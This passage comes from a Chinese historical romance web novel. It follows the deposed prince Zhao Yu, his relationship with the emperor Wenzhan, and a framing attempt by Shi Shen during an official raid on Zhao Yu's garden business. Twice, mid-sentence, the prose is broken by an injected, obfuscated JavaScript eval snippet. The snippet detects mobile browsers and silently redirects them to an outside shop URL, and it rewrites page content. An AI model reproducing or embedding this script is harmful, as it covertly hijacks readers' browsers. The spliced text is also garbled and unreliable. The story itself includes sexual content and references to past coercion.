我们之间的感情从一开始就是血淋淋的伴着罪孽,但是呢,当年那种阴谋重重危机四伏的境遇,还有后面十年的分离都撕扯不断。既然这样,干嘛还要用世俗的标准来衡量?只要你不觉得和我在一起辱没你,别的事情就不要想那么多。人这一辈子其实很短的,老爹四十多年的伟烈丰功,皇图霸业,后宫粉黛,直到今天还能剩下什么?我总觉得你最近吃的东西不太对,怎么总想一些有的没的?” “你别乱担心,我要是不能自保,两年前根本不会给你钥匙。你是国之重宝,轻易不能示人,何况许人?” “还有哦。”赵毓起身伸了个懒腰,“想想当年我们做的那些事,造的那些孽,现在我们还能活着,还能在一起,这真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728887|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老天爷不开眼了。要是真有点什么事,一闭眼,下辈子指不定托生个什么,也许是花鸟鱼虫,也是猪马牛羊,也许,……不对,你是紫微帝星,肯定不会受着轮回之苦,那我就没准了,说到底,咱们就这一世的姻缘,……” 他忽然被打横抱了起来。 “喂,干什么?” “偷|情。” 其实说是偷|情,不如说就是单方面的碾压,文湛把赵毓折腾到眼神都散了。 “……你真觉得我们两个像一对伤痕累累却生死相依的兔子?那么多年,怎么没听你说过……” “……我还以为你不记得那天的事了,……” “……当时你那么难受都没眼泪,我就知道,你比我心狠,……” “既然你说我是紫微帝星,那我就拉着你,今生今世你是我的,以后,生也好死也好,入轮回也好,不入轮回也罢,你别想摆脱我,……” …… 赵毓感觉文湛当年那个疯劲又上来了,咬牙切齿的来了一句,“闭嘴,小心我弄断了你!” 文湛倒是不说话了,直接俯下|身,咬住赵毓的嘴唇开始啃,直到把他的嘴唇嘬的红肿不堪。 …… 第二天傍晚,黄枞菖给赵毓端过去一碗半凉的米粥。赵毓现在很不舒服,不能吃硬的,不能吃热的。 他看赵毓那个惨痛的样子,忽然犹如神佛附体的来了一句,“世间最难勘破的就是情关,我们这样六根清净也挺好,至少每天大鱼大肉,吃着不难受。”赵毓捧着稀粥看着幸灾乐祸的黄枞菖,心中郁闷,放下碗,直接扯过黄枞菖按住他后脑就想要亲,“我让你六根清净。”黄枞菖被吓的惨叫一声,直接滚落趴窝地下。 “王爷给条活路!”黄枞菖一着急,知道赵毓不喜欢’王爷’这个称呼也顾不得了,“左相大人那是内阁宰辅,就算有什么心思主子再怎么着都要留几分情面的。奴婢是天子家奴,要是起了这个心,死一万次都不够哇!!” 赵毓本来想要戏耍他一下,结果看到黄枞菖这个样子,也知道玩笑开的过分,“黄瓜,你别嚎。你知道我现在说话都有些难受,你,……,你别哭了。我错了,我错了还不成。你要是难过,要不,你打我一顿好不好?” 黄枞菖扒着赵毓的袖子,擦了擦鼻涕眼泪,“奴婢错了,再也不乱说话了。” “哎,别叫我王爷,对我来说,你也不是奴婢。”赵毓拍了拍他,“行了,起来吧。昨天还跟文湛说在外面我见了你还得磕头,你现在这个样子真是一言难尽。” “拉倒吧,谁敢让您磕头。不过说真的,祖宗您要是一直以庶民的身份在雍京北城的确有些麻烦,这里都是王公显贵,见到谁都要弯腰,要不我看,……” 赵毓,“难道,真的不能在雍京北城住了,还得搬家?” “搬家?”文湛一进来,就听见赵毓说搬家,“去哪里?” 赵毓看着文湛坐自己旁边。 这个人一身清爽,尤其是他的脸,清白的像是玉雕一般,那种清贵的气息挡也挡不住,赵毓简直气不打一处来,他伸手扣住文湛的下巴,用力掐了掐。 “怎么了?” “下次你亲的时候悠着点,不能再乱咬,又不是狗,我嘴巴到现在还疼,现在只能喝粥,饿的难受。” “那我喂你。” 文湛掰开赵毓扣住自己下巴的手指,拿过他的粥碗喝了一口,直接扣住他的后脑,对着嘴唇亲了下去,这次倒是温和绵密了许多,还带着米粥的清甜。 30. 30 30 白天胡闹的太过分赵毓很早就睡了。他感觉还是有些热,但是总是感觉有人给他压被子,似乎有微风吹散了燥热,慢慢的他也睡沉了,只是醒过来喝水的时候发现文湛还没有睡,却也没有看书或者做什么正经事,就是坐在他身边给他打扇子。(……) 他狐疑的看着文湛,“你不会又在想一些有的没的奇怪的事情吧?” 文湛,“没有。” 赵毓,“那你怎么做这么奇怪的事情?” 文湛,“……” 赵毓,“我要是热了,不盖被子不就好了吗?” 文湛,“现在天稳不住,寝殿又深,被子不盖好半夜怕你着凉。我给打一会儿扇子,你静下来就不热了,等你睡了我也睡。” 赵毓还想再说什么,只是实在太困,只是模糊来了一句,“小祖宗别闹了,……睡吧,……” 随后,他安静睡着了。 …… 雍京猎场看到的一对兔子,已经受伤了,狐狸在后面慢慢逼近,可是它却在旁若无人的舔舐同伴的伤口。 …… 原来在承怡心中,他同承怡,就像是一对儿伤痕累累,却相依为命的兔子。 虽然不是很贴切,却极能打动人。 当年,他就像是在刀刃上行走,周围强敌环伺脚边是万丈悬崖,只要相差踏错一步,就会跌落深渊,摔得万劫不复,尸骨无存。 但是他从来没有感觉到恐惧,因为,承怡一直都在。 很奇妙。 他们的开始可以说不好到了极点。 承怡却是个温柔的人,他知道自己对他的欲|念疯狂狰狞而丑陋,但是承怡从来没有用这些羞辱过自己。 他也知道承怡不愿意,每一次都不愿意,只是和承怡在一起的时候,即使自己再肆无忌惮再任性也会得到一丝非常微弱的呵护,来自承怡。这种感觉非常微弱,却像一张温柔的网,直击文湛心底,随后再慢慢将他的心小心翼翼的包裹起来,让他不用直视自己,也免于被自己的不堪与狰狞羞辱。 那时,承怡会轻轻抱着他。 即使他的拥抱没有那么有力,也没有那么九死无悔,却足以让他从心底开始慢慢平和了下来。 承怡已经睡着。 均匀呼吸着,几不可闻的声音带着安宁的气息,可以让盛夏也无法靠近的冰冷禁宫多了一丝温柔的气息。 文湛低头,看着他依然有些红肿的嘴唇,只是轻轻的亲了一下。 像飞鸟掠过寒枝。 …… 临水天苑。 雍京城南有名的琴苑。 这里的琴师未必绝色美人,但是绝对琴艺绝佳!到这里来的客人多是风雅之徒,自诩为伯牙钟子期,抱着高山流水遇知音的念头过来听琴的。 石慎下了帖子请赵毓,而赵毓也来了,就在一旁斯文安静的喝茶吃点心。 ——陌生。 眼前这人与他记忆中的那位祈王是完全不一样的人。但凡赵毓有一丝半点像祈王的地方,他也会有点警觉,而不会是在询问妹妹吉王妃之后才想到了被所有人忽略掉的真实。 崔珩的表弟。而,宁淮侯崔珩,自始至终,只有一个表弟。 石慎记忆中的祈王承怡是骄纵到不可一世的人。 虽然他们素未谋面。 随侯世子与祈王承怡,这是两个完全没有任何交集的人。 石慎一直跟着父亲石寰在军中,他很少回雍京,也很少在朝中得到君前奏对的机会,所以,他真的没有见过当年的祈王。 但是他知道他。 雍京城的勋贵子弟们,最不敢结交的就是祈王这样的皇子。 祈王貌似有问鼎帝位的机会,却差了一口运气。彼时,先帝嫡子文湛早已经正位东宫,背后又有外戚裴氏的强力支持,日后登基是顺理成章的事情。多年以后再回顾,事情也的确如此,如今天子正是当年的太子文湛。 但是祈王又同其他皇子不一样。 当年皇长子出生,先帝曾经风雨飘摇的帝位瞬时稳如泰山。先帝在岐山祭奠过天地诸神,在太庙跪过大郑列祖列宗,并且亲自给皇长子赐名为’承怡’,取’承继祖业,怡乐安康’的好意头。 ——承继祖业。 这句话,实在太重,让祈王距离帝位比其他皇子更近,也更危险。 结交这样的皇子就是一场豪赌,需要下重注。赢,则一世权势富贵;输,则满门俱灭。然而,千算万算老天还有一算。这位皇长子因不是先帝骨血,被褫夺王爵,废为庶民。 石慎看着赵毓尚未消肿的嘴唇,——好|色|之徒。 这倒是印证了石慎听到祈王当年的流言,斗鸡下注,走马章台,雍京城第一纨绔子弟。 只是,这样的祈王同自己从石恺口中听到的赵毓,还有自己在西疆见到的小兵,又似乎完全对不上,他们就像三个完全独立而不同的人,永远不可能重叠在一起。 所有人都以为他早已经枯骨成灰,结果他还活着,并且似乎活的也不错,依旧在雍京北城怡然自得。 祈王或者说赵毓就像戈壁上无常的沙堆,随着风可以变幻莫测,可以在人面前显出海市蜃楼一般的美丽光景,也可以顷刻之间就消失的无影无踪。 石慎知道,对付赵毓,只能确定他犯重罪,只能证据确凿,打蛇必须打七寸。 琴声一直没有停。 赵毓安静的听琴喝茶,此时石慎忽然说,“外面是留园。” 他当然知道那是留园!那原本是崔珩的庄园,不过在他被褫夺王爵查抄王府的同一天,崔珩的庄园也同样被抄没,那之后,整个留园被封存,直到七年前,先帝驾崩,他回京,才重新拿回留园。 其实,最开始动留在雍京这个念头,一多半为了格非。 赵毓自己有些厌倦雍京的繁华而诡诈,他可以在冉庄苟且自在的或者,但是他需要为女儿的前途着想。绮罗去世之后,虽然外祖父母对格非疼爱非常,但那终究不是自己的家族,如果以后格非想要嫁入高门,背后没有足够的实力是不可以的。退一步,即使不格非想嫁入高门,自己在世间安身立命,也需要本钱。赵毓自己已经没有王爵在身,但是宁淮侯崔珩的背景可以被拉过来用一用,剩下的,就是银钱。 人生在世,怎么也躲不开这些俗物。 赵毓从小对于吃喝嫖赌样样精通,他那些精致的淘气随便拿几样从权贵聚集的北城移到南城,就成了风雅的去处。 现在留园是雍京南城有名的去处,吃喝玩乐,样样俱全。前两天,赵毓还让人按着崔珩的主意在园中的芍药园中放了一个小戏班,客人过来吃饭,就可以在盛开的繁花中穿行,听着花丛中那些如画一般的小美人咿咿呀呀的唱着昆腔。这些小戏们的唱腔同崔珩平时攒局时候的角儿相比差很远,但是扮相好,笑容甜美,老百姓买账。贵戚们看不上这里,但是不妨碍留园的生意好。这里同周熙崔珩之前那种生意比起来差太远,就是同他自己在西疆的时候做那些事情的收益都比不了,不过好歹这是正经营生,是以后可以作为被格非的嫁妆而写在送嫁单子上的家产。 昨天他去有间茶叶铺找薛掌柜,当时老薛问他,“你猜猜,那个石世子想要从哪里下手?” “留园。” “妖怪,一猜一个准。” “不是我猜的准,而是那里明明白白挂着我的名号,虽然我这两年都没怎么露面,其他的地方都是暗的。” 听石慎这样说,赵毓点头,“嗯,留园。” 此时,临水天苑木板台阶蹭蹭的响,上来一队顺天府的人马,为首的是一位武官,手中是海捕公文,“赵毓?” 赵毓起身,“是。” 那武官,“顺天府姚肃。我们得到线报,你的留园中发现从西疆宁州走私的石脂水,这是禁物,顺天府衙门需要进留园搜查,赵先生一起走一趟吧。” 石脂水,沈括在《梦溪笔谈》中称石油,指出“石油至多,生于地中无穷”,同时面对后世写道,“此物后必大行于世”。这是西疆戈壁上挖出来的好东西,像是流动着的煤。只是,它从地下挖出来的时候并不可燃烧,需要秘炼。经过试炼的石脂水烧起来势不可挡,不到一切成灰烬誓不罢休。这是大郑军队使用的禁物,民间挖掘、贩卖、运输和收藏等同谋逆,是死罪。 赵毓,“这就算关押?” “不是。”武官姚肃倒是客气,“线报也未必准确,只是请赵先生走一趟。” 留园已经开始清人,这都用不着动用五城兵马司的人,只要是官家的兵,留园的客人们见了都要躲着走。官字两个口,难斗。留园的人,不管是管事的,还是伙计,打扫的下女们,全部被拉出,挨个跪在大太阳下面,随后,顺天府的人将留园的账册装在箱子中一个一个的抬出来,他们带来账房,就在留园芍药园的空地上,开始查账。剩下的人,正在掘地三尺挖所谓线人内报的石脂水。 那些人倒是没难为赵毓,也没让他好过,就让他在大太阳下面站着,看着那些人把他三年前找人铺好的地砖挨个起出来。搜一趟,伤筋动骨,留园三个月的收益都要砸进去,这还不要算以后怎么让那些老客再来的成本,这种事让他们干一次斗斗法就得了,可不能上瘾。再说,这以后是格非的嫁妆,要写在陪嫁单子上的东西,要清清白白的。 其中一位账房捧着账簿去找负责搜留园的姚肃,他们来找赵毓。 “元熙十一年,赵先生从海外进了一批人参,货品价值十万白银,可是先生只让入账了一万两,差额巨大,其中应该向顺天府缴的税款也差很多。” 赵毓看了看,“他们这里写错了,我们的总账是十万两,并且也按照十万两缴了税。” 姚肃知道他会死不认账,就让那个人从跪在芍药园的人堆中提来一个人,这个人身上是绛色的布料长衫,显然是留园管事的。 此人跪在姚肃面前,磕头,这才说话,“是,这是我们东家让偷漏的税款。” 赵毓看着这个人有些意外,因为此人是留园大账房,他们昨晚还在一起吃的饭,还商讨了一下最近怎么应付可能来的麻烦,并且自己还曾经在兰州救过他的命!按理说,谁反水,他都不应该反水,不过,这样的事情赵毓碰到的多了,也就不吃惊,只是淡淡看了他一眼。 姚肃问赵毓,“赵先生怎么说?” “虽然大家都说作为商贾如果不偷漏一些税款,生意不好做。”赵毓拿出当年楚蔷生教导他的做派,慢条斯理的讲,“但是,我作为大郑的子民,有所为有所不为,我种地的时候绝对不抗粮,我做商贾也绝对不偷漏税款。” “这笔账呢,其实我当时是让人前后分别六次入了账。姚大人请您的账房在总账里面查,元熙十一年三月十一,四月二十三,五月初六,六月初七,初八还有七月中元节,这几天,分别以白银四千五百两,三千二百两,三万两,八千八百两,五万两和三万八千两入账。而与此对应的税款也是相对的月份缴清。” 姚素惊讶于赵毓对账目的了如指掌,他示意那些账房查,结果分文不差。 其实,如果论起来查账,就算查翻了天,赵毓都不怕。 赵毓的账是他自己按照天干地支分了十二条线,彼此分了三层做出来的,这就是三十六个变数,很多账上的数也只有他自己知道哪里进,哪里出。那些老账房如果对账,仔细查个十天半个月也许能看出点眉目来,现在,他们当下查看,是一点眉目都看不懂。那群老先生一个一个的算盘珠子打的像雨点一样,也就琢磨个雾里花水中月。 姚素问,“赵先生既然无人偷漏税款,为什么将账目写的这么琐碎?” 赵毓,“生意难做,怕对手。但凡有人有心做坏事,只要一点蝇头小利就能让我这个大账房先生反水咬我一口,我在西疆还救过他的命呢。” 姚素是武将,最恨的就是吃里扒外,他此时看跪在地下的留园大账房,已经很不顺眼了。 “赵先生还去过西疆?” “对,军中的差事。” “这么说,赵先生如此年轻,还是老兵?” 赵毓听着就笑,“不年轻了,我闺女都快要出阁了。说是老兵,也算是吧。姚大人,其实这个留园是我以后要给闺女的嫁妆,在婆家不比在家中自在,老爹给准备的东西,吃起来总归底气硬一些。所以,还请大人千万要查清楚,不能让留园有污名。” 姚素家里也有姑娘,自然也明白做父亲给女儿添嫁妆的心。他点头,“明白。” 这才第一回合,石慎也没过可以一击即中做掉赵毓。只是,他没有想到,查账这一场败的这么惨,一丝半点把柄都没有拿到。赵毓在那边笑语盈盈的,连看到那个大账房反水脸色眼神一丝波动都没有。这都不用掩饰,他就自然没有波动。 ——毕竟是做过亲王的人。 不过晌午,那些人就在后院挖出二十坛石脂水,这次,石慎有些意外。 这些石脂水,石慎和赵毓都知道是栽赃,既然赵毓早就有准备,为什么还让它们埋在后院,为什么没有挖出来? 石慎当时想的是,此时必然挖不到这二十坛石脂水,但是周围的土地上留有印记,于是顺天府开始顺藤摸瓜,在南城外的安河驿站前的一个废弃的前朝王府里面挖到两百坛子的石脂水,还有一些武器。赵毓应该会在第一回合抹平账面上偷漏税款的事情,但是抹不平银钱的漏洞,这些说不清楚的漏洞就可以引到石脂水和武器上来了。 这些事情必定在今天完成! 一定要在宁淮侯没有反应过来的时候将赵毓以谋逆的罪名钉死,如果他反抗喊冤,可以当场格杀。 但是,…… 赵毓看着那二十坛子石脂水,从袖子中拿出一份公文,“姚大人,其实这件事情我本来不能说,但是事到如今,也只有说了。这是兵部的勘合,这些石脂水是兵部委托我们从兰州运到东海,铸炮用的,这才只是很少的一部分。” “那你为什么要藏在留园后院。” “大人,这些石脂水虽然需要经过试炼才能铸炮,但是,它们本身比煤要烧的猛烧的烈,而且天气干燥火热的时候,还容易炸。现在正是日中,我就让他人把它们先埋入土中稳一稳。您想,这万一,石脂水入雍京北城,要是炸了,那我可就成千古罪人了。” 姚肃其实第一眼就不讨厌赵毓。 他发现这个人居然长的是一种难以言表的斯文俊秀,这和他想象中的奸商完全不同,呃,只不过此人嘴唇成那个样子,但是男人嘛,大家都能明白是怎么回事。后来又听说他在西疆军中做事,武将与老兵很有一种惺惺相惜,并且,他又知道了留园账房的吃里扒外,和赵毓为女儿准备嫁妆的心,让他对赵毓其实也没啥反感了。但是,他们此次来的公事,还是做完。直到看到赵毓手中的兵部勘合,原本的那一丝疑惑也早就没了踪影。 闻言,姚肃点头,“这是自然。” 可是,他没想到赵毓又拿出来两份公文,一份给姚肃,一份给石慎,“世子,姚大人,这是兵部的公文,当时我也签过了。这批石脂水事关重大,凡是经手,不,凡是看到的人必须都签一份,以示共同承担。万一有什么不对,我们就可以一同去兵部领责罚了,没准,秋后处决,我们也可以手拉手了呢。” 人,总要为自己做过的事情承担些什么。不然,总以为踩了别人只要说两句好话就可以全身而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728888|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退,下一次,他们还会踩过来的。凡是越界的人,无论是有意还是无意,都要被扒层皮,这样,他们的记性会好的多。 姚肃这才知道赵毓真正不好惹。 石慎自然不会写,而姚肃看着这兵部的红漆大印也如同看着火一样,摸也不愿意摸,就怕引火烧身。 “赵先生,这里没有笔墨,不好写字的。” 赵毓温和的笑着说,“没关系。可以画押。” 赵毓写了他们两个人的名字,随后让人拿过来红色的朱砂胶泥,愣是揪着他们的手指一边一个,在他们的名字上面按了红色的手印。 石慎不知道赵毓是怎么拿到的兵部勘合,因为他知道,这些所谓的什么石脂水兰州运到东海铸炮的话全是谎言! 那好,既然如此,今天果然是一不作二不休,如果今天不能把赵毓钉死,明天自己就真的有大i麻烦了。 第三个回合,…… 他正想要说话,忽然顺天府的兵从后面揪过来一个老头儿。此人上了一些年纪,长得非常富态,就是外衣湿透,在大太阳地里还打颤。 “姚监!”那小兵说,“我们在后面的清水堂发现这个老杂毛,他和一个小姑娘衣衫不整的,他们,……” 赵毓看到那个老头儿,而那个老头儿也看到了他,——懵! 吉……吉王叔? 他听见那个小兵这么说,赶忙将自己的外袍脱下来,几步过去扯开那个小兵就把衣袍盖在老头儿的头上,包的严严实实,外人看不着老头儿的长相。 赵毓,“这位当差的小哥,这是我们的客人,南城秦楼楚馆足够多,我们不做那种生意。你别乱说。再说,这位老先生比你亲爹年纪都大,你说话的时候留点口德。” 说完,他缠着老头儿就要走。 姚肃看着怪异,拦住他们,“清水堂那边是做什么的?” 赵毓,“泡澡,药浴。这位老先生身子骨不好,泡泡澡,祛病解乏。” 姚肃,“他,什么病症?” 赵毓狠狠剜了一眼石慎,此时石慎咬了咬牙,也过来说,“赵先生,打扰了。这位老先生嘛,我看也没什么事,我先送他出留园。以后的事情,以后再说。” “好。” 赵毓将老头儿交给石慎。 姚肃看着也是看不清楚状况。 留下的人继续查账,但是,也没什么好查的,傍晚之前,顺天府的人都撤清了。 经过这一天,留园清出来不少人,有一些吃里扒外的,赵毓即刻踢他们出门,剩下那些相对比较忠心,至少今天没有反水的人留下。赵毓又提拔了新的大账房和管事的,让他们留下处理后面的事,他自己回去北城的有间茶叶铺,催一催薛掌柜,问他拿石慎的资料,很多事情不能再等。 有间茶叶铺。 薛掌柜泡了好茶,看着赵毓就乐,“那野娘儿们可真够味儿。” 赵毓低头薛掌柜给的东西,一共八叠纸,全是关于石慎的东西。 “什么野娘儿们?” “看看你的嘴,给咬成这样了。嘿嘿,我说,当年在玉门关外,我们几个弟兄都以为你是个雏儿呢,还说就你这个模样,通不通男女之事,没想到回到雍京这个花花世界,你到真敢玩,够野,哥哥服气。” “胡说八道什么?”赵毓正色,“他不是什么野娘儿们。” 薛掌柜想了想,试探着问,“不是吧,……是男的?” 赵毓,“是很贵重的人。” 看着赵毓像是真生气了,薛掌柜知道不能再乱说话,也正色道,“明白了。我不会再乱说了。” 等了一下,薛掌柜开始笑,刚开始微笑,然后大笑,最后笑不可支,“不过,我说,你今天可真够阴的,最后竟然把老吉王给抛了出来。哈哈,我想想就乐,那个石慎瞎折腾一通,别的没套住,把自己的亲妹夫给套住了。 哈哈,那位吉王爷别的病症没有,就是不i举,他可不敢在北城那里找名医就来南城。他在留园已经有几个月了,那里有不错的大夫可以给人保养的。 这位亲王啊,想来王府中的娇妻美妾任君尝,玩太过火了,把自己烧了。石慎也是,要是把吉王爷这事儿闹出去,他妹妹儿子的血统可就成疑了。我看那些什么王爷皇子们,虽然可以把名字写在宗室玉牒上挺威风八面的,但是也有不好的地方,但凡被质疑血统,那就在王府连粗茶淡饭都吃不到了,哈哈哈哈。” 赵毓看透了关于石慎的那些东西,把它们给薛掌柜,又说了一遍,“不是我。” “不会吧。”薛掌柜,“我怎么看跟你手腕一样,蔫坏蔫坏的。” 赵毓,“吉王这件事,还有别人知道吗?” 薛掌柜,“应该不多吧,我是包打听,不然我也不知道。我还想着今天留园这场麻烦怎么不声不响的就完结了,没想到是这么回事。做这件事情,时机、地点还有人,都选的好,骨子中透着你的那种劲儿,你现在告诉我不是你做的,那还有谁?” 还能有谁? 这个时候把吉王叔抛出来,不但可以敲山震虎,让吉王不能置身事外,同时让石慎知难而退,还可以让赵毓石慎两个人都留下一招,不至于今天就白刃不相饶,这样,也许就有了从容处置随侯家族的时间。 还能是谁? 赵毓晚上进宫,黄枞菖就等在丽正门,一路陪他到文湛的寝宫。 文湛正在看书,柳丛容摆饭,他拎过来一个小锅,里面是鸡汤还放了几片红参,最是滋补。 “我今天看到吉王叔了,上一次见他还是先帝驾崩我回来奔丧的时候,这么多年不见,他老多了。” “哦。” “我挺喜欢他的,……,挺好的一个人,……” 赵毓曾经很羡慕吉王这位王叔。 这位老王叔半辈子潇洒,吃喝玩乐无所不精通。 当年就是这位王叔带着他在雍京城见识花花天地,征歌逐酒的。没想到,多年之后,他们却是在这样的境遇下遇见。 “好什么?”文湛不以为然。 当年,也是吉王叔带着赵毓第一次喝花酒。 但是文湛一直不喜欢这位王叔,想来是他为人太方正,不喜欢吉王这样天生浪|荡的人。文湛登基之后让吉王去烧香,估计也是让王叔去修身养性。 赵毓,“当年就是吉王叔告诉我,怎么分美人的骨相与皮相,还有什么样的美人才是真正的绝色。” 文湛,“吉王自己不学好,连带着你也不学好。你现在身子骨这么弱,就是小的时候生冷不忌,不知道修身养性闹出来的。” 赵毓感觉文湛这气生的有些邪性。 他坐在他身边,“这种事,……,皇子们天生富贵种,十四、五岁上就开荤的有的是,我就算晚的了,……,我不信你不知道这种事。” “我什么时候开荤你还不知道?当年要是能豁的出去,找个人练练手,我就不会被你嫌弃成那个样子。每次抱你上榻,你就跟上刑一样,好像被活活千刀万剐。” 赵毓,“……” 当,……柳丛容正在盛鸡汤,手指有些不太好用,御用的瓷勺子碰碗边,声响清脆悠远。他连忙将鸡汤放在赵毓手边,垂着眼睛躬身退出,并且守在寝殿外面,不让外人进来。 “……好端端的,生什么气呀,……”赵毓叹口气,“我从来没有嫌弃过你,当年不太情愿,……,觉得你这么贵重的人,这么贵重的情谊,对着我这种人,错付了。” 文湛忽然揽过赵毓,与他交颈相拥。赵毓看不见他的眼睛,也看不到他的表情。此时,外面黄枞菖想要进来,赵毓看见他,冲着他转了转眼珠,他连忙退出,同时,慢慢掩上了寝殿的门。 31. 31 31 赵毓亲了亲文湛的耳朵后面,“好点了吗,鸡汤冷了油腻劲儿就上来了,我饿了,让我先吃点东西。” 过了好一会儿,文湛才放开他。 皇帝的脸色同刚才没有半分不同,就是在赵毓嘴角又亲了一下。 “下次,换你咬我好了。” “你要去微音殿,嘴要是肿了,像话吗?”赵毓拿着勺子舀了一口汤,味道还真不错,“今天真够老王叔吃一壶的。” 文湛,“谁让他结了这门亲?” 赵毓,“其实,你不用这么折腾老王叔,石慎的事情是我的私事,我自己可以处理。” 文湛,“自己处理?怎么处理,找崔珩要兵部勘合吗?” 赵毓,“有大批石脂水入雍京,也的确需要知会一声兵部。万一有些什么事情也好未雨绸缪,不然到时候真出了事情无法掌控,情况就会麻烦很多。” 文湛这回也不说话,他知道赵毓说的是对的,随后,赵毓也给他盛碗汤。 赵毓,“别怪老王叔了,也是我自己不好,……” 文湛,“你有什么不好?” 赵毓一乐,“我哪里好了。” 文湛,“哪里都好。” 赵毓乐着点头,“好,那我就哪里都好吧。” 文湛看着他,“石慎这个人和你有什么恩怨?我看他下手已经不是挑衅这么简单了。” …… 十一年前边陲什叶镇。 关于找虐杀那两名高昌少女的人,他几乎孤立无援,只是掩盖肮脏事情的计划不可能万无一失,何况这种事情,那些人根本不想掩盖。他追寻线索到什叶镇最好的一家酒楼,后面全是往来客商的骆驼与马匹。 他就站在那座阁楼下面,抬头,看见阁楼上垂着竹帘与纱幕。那个人,赵毓要找的人就在帘幕后面,他看不清那个人的脸,但是他知道,那个人在打量着他。只是,赵毓进不去,咫尺天涯,他进不去。 “走开,有贵人把这里包下来宴客,不接待闲杂人等。” 边陲不比雍京,人野。 这里做商贾的每天和流民散兵游勇马贼土匪打交道,所以也野。 什叶镇的酒楼都有自己的护院,那些人高高壮壮,排成一排堵在门前,像铁塔一样,赵毓当年饿的快死了,根本没有硬闯的本事。 他候了一天,酒楼的园子都是封闭的,里面的人是聚是散,他也不清楚。 晚上他回去,发现一个屋子住的小卜正在同边境上一个牧羊女卿卿我我。他们两个已经过了彩礼了,小卜将自己积攒了几年的饷银换了一对不太好的羊脂玉的镯子给了那个牧羊女,他们就算夫妻了。边境这里战乱频发,人们生离死别很寻常,所以人也豁达。小儿女们只要看对了眼对着如水洗过的蓝天一拜,就是一段姻缘。现在两个人甜甜蜜蜜的躲在一个被窝窝里面。 “你们忙,我去找养马的老由,在他那里睡一宿。” 后半夜,所有人睡的正沉,外面忽然有血腥的味道,随即,一道火光直冲夜空。 赵毓原本住的地方成为火堆。 大火在临近戈壁的地方烧了整整一夜,第二天就是漫天遍野的沙尘暴,戈壁的黄沙如同东海的怒涛,掩埋了一切。 …… 赵毓,“碰到一个故人。他喜欢以非常残忍的方式杀高昌少女。但是这个人外表看起来温文尔雅,真是太恶心了。” 崔珩,“自己人,处置起来麻烦。” 赵毓,“自己人?” 崔珩,“他是先帝下旨亲封的随侯世子,名字写在大郑三十二侯府的名碟上,他亲爹现在就在大郑北疆前线,他妹妹是亲王正妃,他不是自己人是什么?其实,他不是不能抓,不能杀,但必须是重罪,必须证据确凿!否则就是让满朝的勋贵家族寒心,私杀几个奴隶这样的罪名无法弄倒他。不要说死几个奴隶,说白了,就算你死他手中,按照大郑国法,他都不会为你偿命。” 崔珩,“我有一个馊主意,你可以构陷他伤了你,越重越好,最好快要死了,吐血都要吐一大口。以你们家那个狼崽子的性子,我不信他忍的下去。他一出手,石慎非死即残。” 赵毓,“那样,就会陷文湛以私情亵|渎神器。” …… 很多年前,先帝在寿春宫,披着斗篷站在水边,看着那盛开的一池红莲。 莲叶上滚动着露珠,已经开始慢慢消散,所有的一切在阳光下闪耀着璀璨的光芒。先帝看着赵毓的眼神,慈悲带着怜悯,可是隐藏在这些之后,却是铁一般的冷酷。 “天下神器,祖宗千年的基业,朕不允许任何人挥霍它。朕自己不可以,朕的儿子也不可以。” …… 赵毓,“我和石慎没什么恩怨。他这个人长的不好,我看他不顺眼。我哪里都好,他看我也不顺眼。” 文湛,“……” …… 雍京北城,兰叶巷。 赵毓回家,以上台阶,就听见后背有人亲热的叫他,“心肝儿,你回来啦!” 他不自觉打了冷颤。 “吉王爷?” “哎呦,心肝儿,这么久不见,你还是这样,没变模样。还记得老王叔我吗?” “我怎么能忘了您老人家?我这个院子不大,里面坐坐?” “不了,不了。”吉王过来扯住赵毓的袖子,“走,你婶子给你做了几个菜,我从地窖里面挖出一坛子凤化三十四年的太雕,到我那里喝两盅。不许推辞,你得来,昨天要不是你,我丢人就丢大发了,为了这件事,你得让老王叔我把这个人情还了。” “王爷,现在我可是草民一个,不能再称呼您王叔了。” “没事,没事!我刚才打听了,楚蔷生还在内阁没回来呢,看不到你叫我王叔,参不了你。” “吉王爷说的都是哪一年的老黄历了。现在楚大人都是左相大人了,不在御史台了。再说,现在我可不配让人家御史管,我现在归顺天府管。” “爱谁管,谁管!今天这酒你怎么都得到我家喝!” “行啊。等我交待点事。” 他家大门已经打开,看门的赵大叔早就站在门外的台阶上。 赵毓过去,对他小声说,“我去吉王府喝酒,酉时一刻还没有回来,估计就是喝多了,你去宁淮侯府,让崔珩去吉王府接我。” “是。” 吉王府也在雍京北城,因为建造的早,所以位置极佳。 王府中有活水,养了一群乌龟王八与游鱼,王府后花园繁花似锦,后面则是小山与树林,山上有一小群梅花鹿,漫山遍野愉快的奔跑着。 酒就摆在王府花园中。 赵毓还真见到了这位续弦王妃,随侯府邸的小姐,吉王的正妃,看起来也是个美人。 “喏,这就是你婶子。”吉王一指王妃还有她的小儿子,“这是你弟弟。” 赵毓赶紧施礼,“王妃,郡王。” 这情形,……赵毓正捉摸着,吉王妃让人将小王子带下去,她自己亲自端过一盘燕菜放在吉王面前。 随后,赵毓看见石慎与石恺出现了。 大家都在雍京场面上混的,见了面互相都给面子。 他们笑着见了礼,也坐了。 